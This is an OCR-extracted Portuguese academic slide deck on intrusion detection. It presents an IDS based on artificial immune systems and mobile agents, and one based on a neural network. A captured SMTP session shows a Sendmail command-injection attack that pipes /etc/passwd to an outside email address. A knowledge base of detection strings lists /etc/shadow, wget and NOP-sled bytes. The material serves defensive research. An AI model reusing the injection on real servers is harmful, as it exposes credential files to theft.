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Roteiro

= Conceltos de Seguranca
= Sistemas de Deteccao de Intrusao

= Abordagem Baseada em Imunologia
Computacional e Agentes Moveis

= Abordagem Baseada em Redes
Neurais Artificials




Seguranca de Redes

= Evolucao Tecnologica
= Importancia das Redes
= Necessidade de Seguranca




Seguranca de Redes
Incidentes Reportados
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Seguranca de Redes
Vulnerabilidades Reportadas

5000

SN
o
o
o

Vulnerabilidades

Vulnerabilidades Reportadas (CERT)

3000 -
2000 -
1000 -

M29 5784
2437
1090
171 345 311 262 M7
= ] ‘ [ /. [ 1] ‘ ‘ ‘ ‘
1995 1996 1997 1998 1999 2000 2001 2002 2003

Ano
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Classes de Ataques

= Sondagem
— Descoberta de Vulnerabilidades
— Ferramentas de Scanners

= Comprometimento de Servicos
— Deny of Services (DoS e DDoS)
— Exploracao de Falhas
— Inundacao




Classes de Ataques

= Intrusao
— Aquisicao de Privilégios, Recursos, Dados
— Controle do Sistema

= Atagues ao Host
— Falhas em Programas Executanto

= Atagues a Rede
— Vulnerabilidades dos Protocolos e Servicos




Deteccao de Intrusao

= Estabelecimento da Politica de
Seguranca

= |dentificacao de Acoes llicitas

= Sistemas de Deteccao de Intrusao
— Automatizacao
— Necessidade de Métodos Eficazes
— Pesquisas na Area




Padronizacao de IDS

= Geradores de Eventos

= Analisadores de Eventos
= Armazenamento

= Respostas




Padronizacio de IDS (CIDF)
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Padronizacio de IDS (IDWG)
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Classificacao de IDS’s
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Classificacao de IDSs

Baseado em Comportamento (Anomalia)
— Estabelecimento de Conjuntos de Atividades
— ldentifica Ataques Desconhecidos

— Tecnicas Computacionais Aplicadas

— Classes de Eventos Gerados:
e Falsos Positivos
» Falsos Negativos
* Verdadeiro Negativo
* Verdadeiro Positivo



Classificacao de IDSs

Baseado em Conhecimento (Assinaturas)
— Conjunto Conhecido e Pré-definido
— Ineficaz para Novos Tipos de Ataque

— Baixos Indices de Falsos Positivos e Falsos
Negativos

Arquitetura Baseada em Host, Rede e
Hibrido

Arguitetura Centralizada, Hierarquica e
Distribuida

Comportamento e Frequéncia




Abordagem Baseada em Imunologia
Computacional e Agentes Moveis




Seguranga de Redes/Sistemas
Imunologicos Artificiais

Sistemas Imunologicos Artificials

Paralelos com o Problema da Seguranca
em Rede

Analogia estabelecida em 1987 (virus de
computador)

Conexao entre Imunologia e Seguranca a
partir de 1994




Seguranca de Redes e Sistemas
Imunologicos

Atualmente Aplica-se Principios Sistema
de Defesa do Corpo Humano

Principais Caracteristicas:

— Deteccao por Anomalia

— Plano de Respostas Especializado
— Contra-atagque

— Memorizacao e Adaptacao




Paradigma de Agentes Moveis
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Figura 4.3 - Arquitetura de Agentes Moveis




Agentes Movels

“Agentes Itinerantes sao programas due sao
despachados de um computador de origem,
viglam entre servidores em uma rede até
gue se tornem habeis para completar a sua
tarefa; e€eles movem processos gue
progressivamente executam tarefas se

movendo de um lugar para outro” (CHESS,
1995).




Agentes Moveis

= Delegacao

= Comunicacao

= Mobilidade

= Ambientes de Execucao
= Seguranca

= Tolerancia a Falhas

= Interoperabilidade.




Agentes Moveis - MAF

= Regiao

= Sistema de Agentes (Agéncias)
= Place

= Agente

= Codebase




Agentes Moveis - MAF
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Um IDS Baseado em SIA ¢ Agentes
Moveis
Requisitos Implementados
— Funcoes do Modelo CIDF
— Método de Deteccao por Anomalia
— Arquitetura Distribuida e Baseada em Host

— Funcionamento em Tempo Real
— Geracao de Respostas Ativas e Passivas




Inspira¢cdo no Sistema Imunologico
Humano

Froteina de MHZ  Fatdgeno




Sistema Imunologico Artificial

Arquitetura Protegendo uma Rede
Confiavel de Computadores

— Rede = Organismo
— Servidor = Orgéo
— Processos Monitorados = Células




Firewall

Pele e Mucosas

Controle de Servigcos de Rede

Barreira Quimicas

Controle de Acesso

Permissdes de Arquivos

Sistema de Arquivos

Sistema
Imunoldgico Inato

Politica de Seguranca

Registro de Atividades

Monitoracéo de Registros

Paches e Atualizacbes

Sistema
Imunoldgico
Adquirido

Sistema Computacional - Agentes
Moveis




Propriedades Imunologicas Adotados

= Deteccao

= Diversidade

= Aprendizagem
= Tolerancia
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Servicos Monitorados

DNS, FTP, HTTP, POP3, SMTP
(Células Expostas aos Antigenos)

Sat Feb 28 09:54:50 2004 0 200.195.169.253 51478 /home/eder/arc_5.21e-5_i386.deb b _ i
rederftp0*c

May 23 06:37:42 orgao named[10247]: unrelated additional info 'prioritytravel.com' type A
from [64.74.96.242].53

[Thu Apr 22 10:41:15 2004] [error] [client 200.150.211.66] request failed: error reading the
headers

Apr 10 00:23:13 email vpopmail[4660]: vchkpw: vpopmail user not found
lidiest@foz.net:201.3.96.18




Deteccao e Analise

SYSLOG-NG - Detectores de Eventos
(Macrofago)

— Ambiente Distribuido

LOGCHECK — Analisador de Eventos
(Ceélula T-Helper)

— Logcheck.hacking

— Logcheck.violations

— Logcheck.violations.ignore

— Logcheck.ignore




Deteccao e Analise

LOGCHECK — Analisador de Eventos
(Célula T-Helper)

— Atividades de Cracking

— ViolacOes de Seguranca

— Eventos de Seguranca




Sistemas de Agentes(Linfocitos)

Regiao - SIA
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Classes de Agentes

Monitoracao (Células B)

Distribuicao (Células Plasma)
Persisténcia (Robustez Imunoldgica)
Reativos (Anticorpos)

Banco de Dados (Memoria
Imunoldgica)




Performance dos Agentes
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Configuracdo do Sistema

& SIA - Sistema Imunoldgico Artificial o [m] S

Tipo do Agente

|Ataque |

Arquivo de Monitoragao

|E:1Fnzneﬂresultadnslww.access.junhn.cracking.sia || ﬁ|
inerario
Protocolo Host Porta Agéncia Local
] | | | N N

socketsskiMedula: 8001/ Timo
socketssliTimo:8000Timo Adicionar

Configuragies Adicionais

[l Interpretar coma atacgue
E-tnail do administrador Salvar

|administradur@sia.unineste.br |

Timeout {ms) Tamanho {byvtes)  Offset (long)
11000 | |200000 | o] |

Cancelar




Estudos de Caso

Ocorréncias

Operacdes Normais e Anémalas - Provedor

30000000 -
20000000 -
10000000 A
0,
Marco Abril Maio Junho
Meses
mNormais W Anormais

Ocorréncias

Operagcdes Normais e Andmalas - Empresa

10000000 -
8000000+
6000000
40000001
2000000+

O u

Marcgo Abril Maio Junho

Meses

= Normais B Anormais




Contribuicoes

= Classificacao dos eventos em normais
e anormais

= Reducao do numero de registros
reportados: 91,40% no Provedor e
46,87%

= Classificacao dos Registros em
Ataques, Violacoes e Eventos




Contribuicoes

Positivos Verdadeiros: 19,18% no
Provedor e 5,33% na empresa

Possibilidade de Realizar Estudos
Estatisticos

Mecanismos de Reacao Pro-Ativos

Estudo da Relacao
Seqguranca/Performance da Plataforma
Grasshopper




Consideracdes Finais

Contribuicdes da Area de Pesquisa
Otimizacao de Performance
Contribuicoes do Estudo de Caso
Projetos Futuros




Abordagem Baseada em Redes
Neurais Artificiais




Roteiro

= Introducao
= Seguranca de Redes
— Deteccao de Intrusao
= Inteligéncia Atrtificial
— Reconhecimento de Padroes

= Modelo de um IDS Baseado em Redes
Neurais Artificiais.




eguranca de Redes

Dificuldades de IDS

— Abuso ou Assinatura
 Novos Ataques
e VariacOes do mesmo ataque

— Anomalia
» Altos indices de falsos positivos




Inteligéncia Artificial

Inspiracao Biologica
— Aprendizado de Maquina
— Conexionismo

— Redes Neurais Artificials
e Reconhecimento de Padroes
» Generalizacao




Tremnamento

SaclPropagetion



Modelo Neural de Deteccao de
Intrusos
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Modulo de Captura

Lib PCAP
TCPDUMP / TCPFlow

Estruturas na Memoaria e Geracao de
Arguivos por host.

BroadCast (Modo Promiscuo)




Exemplo de Se¢do Capturada

#iH## |-IDS  #HH#H

TCP 10.1.1.4:32772 -> 200.195.169.61:25

#iH## |-IDS  #HH#H##5:

I-IDS<-220 teste@foznet.com.br ESMTP Sendmail 8.7.5 ready
I-IDS->mail from " | /bin/mail mussoi@inf.ufsc.br < etc/passwd "
I-IDS<-250 " | /bin/mail mussoi@inf.ufsc.br < /etc/passwd ".
I-IDS<-.. sender ok.

I-IDS->rcpt tp: nobody

I-IDS<-250 Recipient ok.

I-IDS<-354 Enter mail, end with "." on a line by itself
I-IDS->data

I-IDS<-250 QAA23003 Message accept for delivery
I-IDS->quit

I-IDS<-teste@foznet.com.br closing connection

I-IDS:END



Representacdo
Intermediaria

G BT

Analisador Semantico

Automato Finito Simples
Busca por Padroes entre as strings

_————
Basze de
Conhecimento

=ETCR

Eanor, s

ERORT command successil
4101010101 01a1a1
aaaaad00d0dQ0aaaa
10191Q101010101 40



Conversao de String p/ Binario

= 16 bits cada String

= Maximo de 16 Strings por secao
= Distancia de Hamming

= Gerador de Binarios

= 0] =]
MNumero de Bitz Mumeroz Posziveiz  Binarioz Posziveis
16 B3IR2T ;I 11111000007 00711 :I
_ o y B3967 11111001711011111
Diferenca Minima em bit's 53968 1111100171171 00000
G B5107 111111100107 0011
BA132 11111110011 01100
- - ERd428 1111111171 0010700
ER451 111111111 oot
Combinagdes 129 j j




Base de Conhecimento

1 /etc/passwd 1 0000011001001010
2 [etc/shadow 2 0000011001110101
3 /etc/network/interfaces 3 0000011110001101
4 [etc/fstab 4 0000011110110010
5 rmdir 50000101010010100
6 wget 6 0000101010101011
7 Entering Passive Mode /7 0000101101010011
8 nobody 8 0000101101101100
9 command successful 9 0000110011011111
10 |ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff f] 10 0000110011100000
11 |90 90 90 90 90 90 90 90 90| 11 0000110100011000
L3 Lista ce Apolo
\

21 0000000011111110

23 0000111100001110
80 0000111111110001 ~ @@W@@@

53 0011001100110010




Representacdo Intermediaria

#6.6

#TCP

#25

#| mail

#sleep 2 ; echo quit
#Syntax Error

#| mail

#sleep 2 ; echo quit
#Invalid sender address
0101010101010101 "\
0011001100110010
0101110110110001
0000011110001101

0011000001001100 ﬂ@xﬂ
0101110110110001
0000011110001101
0000110011100000
0000000000OO0OOOOOQO
0000000000O0OO0OOO0OOQO
0000000000O0OO0OCOO0OO0O
0000000000O0OO0OOOOO
0000000000O0OO0OOOO0O
0000000000O0OO0OCOOOO

00000000000C0OOOOO
00000000000C0O0OO0OO0OO /




Pos Processamento

Transformacao da representacao
Intermediaria em

VETOR DE ESTIMULO

ra a Rede Neural MLP-256-21-1




Rede Neural

Simuladores de Redes Neurais
Biblioteca (neuro.h)

MultiLayer Perceptron

BackPropagation

Funcao de ativacao Tangente Hiperbodlica
Limiarde -1al

256 —21 -1




Analise Neural

ntrada

Representacao Binaria das sec0es suspeitas
aida

Nivel de Suspeita (entre -1 e 1)

0

Representagio
Pos-Processada

010101010110} 5 :
001100111010} o
0110011001101 : s X %
0100011100101 1 y

1110000110101

0011000110101 0

—




Definicao de Padrdes

Ataque
— Ferramentas de Atague e Exploracao

— Reproducao de Técnicas Documentadas
— Padroes ACME / UNESP

= Nao Ataque
— Monitoria de Atividades Normais
— Simples Utilizacao de Servicos




Experimentos

Porta Secdes Intrusivas Secoes Normais Total
21 30 30 60
23 20 20 40
25 12 12 24
53 07 07 14
&0 30 30 60
8080 06 06 12
Total Geral 105 105 210




Experimentos

Treinamento Testes
Porta Total
Atague | Normal Total | Araque| Normal | Total
21 23 23 46 a7 07 14 60
23 13 13 30 a3 1] 10 40
25 0o 0o 18 03 03 06 24
53 03 03 10 0. 0.2 04 14
&0 23 23 46 a7 a7 14 60
8080 a3 03 10 01 01 02 12
Total Geral 80 80 160 25 25 50 210

Formacao Aleatoria




Resultados

= Acertos de 100% sobre os padroes usados
durante o treinamento.

= Acertos de ~= 75% sobre padrdoes nao vistos
durante o treinamento

= Conjunto 1: 24,52% de erro
= Conjunto 2 : 27,30% de erro




Conclusoes

= Indices de Acertos Satisfatorios.

= Indice de Aceitacdo pode ser ajustado para
controlar
— Falsos Positivos e Falsos Negativos

Problemas com Criptografia
Problemas com Redes sem BroadCast




Links Importantes

SIA:

— http://www.dca.fee.unicamp.br/~Inunes

— http://www.cs.kent.ac.uk/people/staff/jt6/aisbook/al
s-researchers.htm

— http://www.cs.unm.edu/~steveah/
— http://mcb.harvard.edu/BioLinks.html




Links Importantes

Seguranca de Redes/Deteccao de Intrusao

— http://www-rnks.informatik.tu-
cottbus.de/~sobirey/ids.html

— http://www.securitytechnet.com/security/ids-
more.html

— http://www.cerias.purdue.edu/coast/coast-
library.html




Links Importantes

gentes Moveis



